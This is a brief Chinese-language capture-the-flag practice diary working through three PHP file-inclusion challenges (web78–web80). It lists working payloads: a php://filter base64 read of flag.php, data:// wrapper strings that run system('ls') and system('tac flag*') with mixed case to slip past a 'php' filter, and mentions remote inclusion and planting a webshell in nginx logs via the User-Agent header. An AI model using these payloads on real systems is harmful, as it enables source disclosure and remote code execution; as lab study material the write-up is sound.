3月17日刷题日记-文件包含
web78

文件包含的题目,没有任何过滤,直接使用伪协议读flag即可
?file=php://filter/convert.base64-encode/resource=flag.php

base64解码拿到flag
web79

只是简单的加了个限制,我们可以使用别的伪协议来进行包含
?file=data://text/plain,<?PhP system('ls');?>
?file=data://text/plain,<?PhP system('tac flag*');?>

因为禁了php,但是我们可以用*来进行匹配
题目存在解析漏洞,我们可以在服务器上创建一个txt文件,写入,然后进行远程文件包含,同样能拿到flag

同样这一系列题目中都存在nginx日志解析漏洞,我们可以在ua头中传入木马来进行操作

web80

这一题禁用了php和data协议

依旧是使用日志包含去读flag

浙公网安备 33010602011771号